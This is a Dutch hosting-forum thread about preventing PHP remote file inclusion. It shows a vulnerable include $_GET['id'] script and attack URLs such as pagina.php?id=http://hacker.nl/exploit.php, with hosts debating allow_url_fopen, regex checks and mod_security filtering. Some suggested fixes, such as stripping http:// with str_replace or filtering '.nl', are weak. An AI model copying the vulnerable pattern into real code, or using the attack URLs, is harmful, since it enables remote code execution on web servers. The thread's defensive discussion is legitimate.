Onderwerp: Externe PHP-code blokkeren?

Ik ben weer bezig met security en zie onveiligheden is bijvoorbeeld dit script.

pagina.php

Code:

<?php
include $_GET['id'];
?>

pagina.php?id=http://www.dennis.nl/25.gif

Hij voert dan gewoon de php-code uit die in 25.gif staat... (25.gif = text-file)

Server draait op PHP 4.3.10 met Safe_Mode enabled. Is zoiets te beveiligen?

Ja, allow_url_fopen op off zetten.

Hebben jullie dit allemaal op off?

*EDIT*
Dit staat standaard aan bij een kale server-install. Dit staat na de Plesk/DirectAdmin/cPanel-installatie nog aan. Dit staat na de Zend-installatie nog aan... waarom zetten zij het dan niet uit?

maar globaal zet je zoiets beter niet aan, want er zijn verschillende prefab scripts die ftp:// of http:// gebruiken.

Origineel geplaatst door wv-
maar globaal zet je zoiets beter niet aan, want er zijn verschillende prefab scripts die ftp:// of http:// gebruiken.

Globaal (php.ini) kun je het beter op off zetten? Zie mijn edit ook in vorige bericht.

Dat is ook niet de juiste methode. Je moet die $_GET['id'] liefst even matchen met een regular expression ofzo om ook zeker te weten dat 'ie niet begint met bv. "/" of "../". Als je 'm zou matchen met bv. "'^[a-z0-9]\.php$'i" ben je al een heel eind.

Origineel geplaatst door Hans
Dat is ook niet de juiste methode. Je moet die $_GET['id'] liefst even matchen met een regular expression ofzo om ook zeker te weten dat 'ie niet begint met bv. "/" of "../". Als je 'm zou matchen met bv. "'^[a-z0-9]\.php$'i" ben je al een heel eind.

In je PHP-code ja... maar ik wil dit security-concern graag voor mijn klanten oplossen...

Standaard op aan. De meeste klanten gaan het lastig vinden dat dit op "af" zou staan als ze een of ander scriptje willen installeren.

Wij laten dit aan staan, maar de klant heeft wel de mogelijkheid een eigen php.ini te zetten in elke web directory. Dit maakt het natuurlijk goed.

Ook moet jij eigenlijk niet inzitten met slechte scripts, die zullen er altijd wel zijn. Zorg gewoon dat indien een website gehackt wordt, de kraker niet verder geraakt dan die klant. Anders ga je de meer advanced php scripters afweren door alle limitaties die je toe past voor de klanten die er niks van kennen.

offtopic: Als jouw server op safe-mode staat, hoe kunnen jouw klanten dan bijvoorbeeld Gallery / grote CMS'n / ... draaien?

Zoals wv- aangeeft is eigenlijk het slimste de server gewoon te beveiligen dmv eigen dirs, en niet meer.

Dit soort scripts zijn gewoon slecht (eigenlijk in hoofdletters).

Ik vrees dat PHP dit soort dingen niet zelf beveiligd met een methode.

Eerder in deze thread werd "allow_url_fopen" aangeraden om uit te zetten, leuk maar daar is het niet voor.

This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol ... etc

Bron

Geldt dus niet voor je lokale files, want die zijn niet remote je include code blijft gewoon zo.

Jawel, maar dan zou je niets meer van buiten kunnen include. Je kunt dan geen externe php-code includen die alsnog wordt uitgevoerd.

Ik denk dat jullie gelijk hebben. Deze bug pagina.php?id=http://hacker.nl/exploit.php valt gewoon niet te verhelpen als webhost.

allow_url_fopen uitzetten is geen optie. Daarmee beperk je je klanten ernstig.

Helaas... PHP-security has failed again

ik haal meestal met str_replace de http:// en dergelijke weg.

Je kunt met mod_security filteren op zaken als; http:// of ftp:// dan hoef je ook al die zaken niet in de php configuratie aan te passen, naar mijn idee de beste oplossing voor jouw geval dennis.

Zaken als pagina.php?id=http://hacker.nl/exploit.php
worden dan niet toegelaten aangezien mod_security de http:// herkent als je daarop filtert en dus de betreffende request niet execute.

En? gebruik ik toch gewoon ftp://, gopher, etc.

Kwestie is relatief simpel:

a) php zo beveiligen dat alle klanten beperkingen hebben
b) zorgen dat alle gebruikers afgezonderd zijn

Origineel geplaatst door Mog
Je kunt met mod_security filteren op zaken als; http:// of ftp:// dan hoef je ook al die zaken niet in de php configuratie aan te passen, naar mijn idee de beste oplossing voor jouw geval dennis.

Zaken als pagina.php?id=http://hacker.nl/exploit.php
worden dan niet toegelaten aangezien mod_security de http:// herkent als je daarop filtert en dus de betreffende request niet execute.

maar daarmee fix je dit niet:

fopen('http://'.$_GET['url']);

url: page.php?url=/domain.nl/file.ext

Bottomline, je moet het niet moeilijk maken voor hackers om exploits te gebruiken maar onmogelijk

Origineel geplaatst door roland
maar daarmee fix je dit niet:

fopen('http://'.$_GET['url']);

url: page.php?url=/domain.nl/file.ext

Dan filter je op ".nl" en een hele meuk aan andere extensies er ook nog eens bij, dan is je probleem opgelost in bijna alle gevallen.
Want met enkel fopen uitzetten ben je er nog lang niet, er zijn tal van manieren om externe files via php te executen.
Daarnaast zoals je zelf ook al aangeeft met een chrooted omgeving werken en met voorkeur een php cli versie dus.